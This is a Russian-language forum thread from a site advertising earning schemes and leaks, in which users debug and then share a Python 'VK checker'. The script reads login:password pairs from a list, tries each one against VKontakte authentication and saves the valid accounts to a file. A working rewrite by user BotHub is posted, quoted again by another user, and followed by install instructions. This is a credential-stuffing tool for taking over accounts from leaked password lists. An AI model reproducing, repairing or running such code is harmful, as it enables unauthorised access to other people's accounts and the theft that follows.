• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

vk checker на python [вопрос]

JRD

Местный
Сообщения
38
Реакции
65
0 руб.
Telegram
НУ что ж, хотел написать чекер вк, нашел статью, переписал от туда немного код, немного поменял, по итогам все сломал)
ну как сломал, просто не работает

Код:
import vk
from time import sleep

class VKchecker( ):
   
    def __init__(self):
        self.vk__init()

    def vk__init(self):
        for x in self.file__reader (r"check.txt"):
            try:
                sleep(0.5)
                session = vk.AuthSession (app_id="6741789", user_login=x[0], user_password = x[1])
                vk__api=(session)
                print("valid")
                with open ("valid.txt", "a",):
                    valid.write("{0}-{1}\n".format (x [0], x [1]))

            except vk.exception.VkAuthError:
                print("unvalid")
           
    def file__reader(self,):
        result=[]
        with open (check.txt, "r") :
            for line in check.txt:
                line = [ x.strip () for x in line.split (":") ]
                log__pass=(line[0], line[1])
                result.append(log__pass)
            return result

Кто подскажет в чем ошибка?
наверное, нужно пояснить суть проблемы. Скрипт должен из check.txt должен брать логин пасс и чекать. У меня же он запускается и выключается не чекая аккаунты
 
Последнее редактирование:

Miron_T31

Местный
Сообщения
195
Реакции
160
0 руб.
Я попробовал у меня все работает
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
Проверять не стал, переписал скрипт. Обязательно создайте валидное Standalone приложение.

Код:
import vk
from vk.exceptions import VkAuthError
from colorama import init
from termcolor import colored
from time import sleep

init()

apiID = # ID Standalone приложения

listPath = 'list.txt' # Текстовый файл со списком аккаунтов
goodPath = 'good.txt' # Текстовый файл валидных аккаунтов
badPath = 'bad.txt' # Текстовый файл невалидных аккаунтов

def rfile(path):
  result = []
  with open(path, 'r', encoding='utf8') as file:
    for list in file.readlines():
      result.append(list.strip())

  return result

def wfile(login, password, path):
  with open(path, 'a', encoding='utf8') as file:
    file.write('{login}:{password}\n'.format(login=login, password=password))

def main():
  rList = rfile(listPath)
  print(colored('*** Процесс проверки аккаунтов запущен ***', 'green'))
  for data in rList:
    line = data.split(':')
    try:
      sleep(0.5)
      session = vk.AuthSession(app_id=apiID, user_login=line[0], user_password=line[1])
      api = vk.API(session)
      print('{login} - {type}'.format(login=line[0], type=colored('Good', 'green')))
      wfile(line[0], line[1], goodPath)
    except VkAuthError:
      print('{login} - {type}'.format(login=line[0], type=colored('Bad', 'red')))
      wfile(line[0], line[1], badPath)
  print(colored('*** Процесс проверки аккаунтов закончен ***', 'green'))

if __name__ == '__main__':
  main()

Установите все зависимости и укажите пути к списку аккаунтов на проверку, остальные файлы будут созданы сами.

P.S единственно при неверном пароле в терминал пишет текст ошибки, это жестко прописано в самом модуле VK и так сходу эту запись нельзя убрать.
 
Последнее редактирование:

Avronin

Участник
Сообщения
15
Реакции
6
3000 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Проверять не стал, переписал скрипт. Обязательно создайте валидное Standalone приложение.

Код:
import vk
from vk.exceptions import VkAuthError
from colorama import init
from termcolor import colored
from time import sleep

init()

apiID = # ID Standalone приложения

listPath = 'list.txt' # Текстовый файл со списком аккаунтов
goodPath = 'good.txt' # Текстовый файл валидных аккаунтов
badPath = 'bad.txt' # Текстовый файл невалидных аккаунтов

def rfile(path):
  result = []
  with open(path, 'r', encoding='utf8') as file:
    for list in file.readlines():
      result.append(list.strip())

  return result

def wfile(login, password, path):
  with open(path, 'a', encoding='utf8') as file:
    file.write('{login}:{password}\n'.format(login=login, password=password))

def main():
  rList = rfile(listPath)
  print(colored('*** Процесс проверки аккаунтов запущен ***', 'green'))
  for data in rList:
    line = data.split(':')
    try:
      sleep(0.5)
      session = vk.AuthSession(app_id=apiID, user_login=line[0], user_password=line[1])
      api = vk.API(session)
      print('{login} - {type}'.format(login=line[0], type=colored('Good', 'green')))
      wfile(line[0], line[1], goodPath)
    except VkAuthError:
      print('{login} - {type}'.format(login=line[0], type=colored('Bad', 'red')))
      wfile(line[0], line[1], badPath)
  print(colored('*** Процесс проверки аккаунтов закончен ***', 'green'))

if __name__ == '__main__':
  main()

Установите все зависимости и укажите пути к списку аккаунтов на проверку, остальные файлы будут созданы сами.

P.S единственно при неверном пароле в терминал пишет текст ошибки, это жестко прописано в самом модуле VK и так сходу эту запись нельзя убрать.
Это на python?
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
только зависимости поставьте для работы

Для ВК
pip install vk

и для подсветки цветами в терминале
pip install colorama
pip install termcolor


Если подсветка не нужна, можете удалить из кода все что с этим связано и init()
 
Сверху Снизу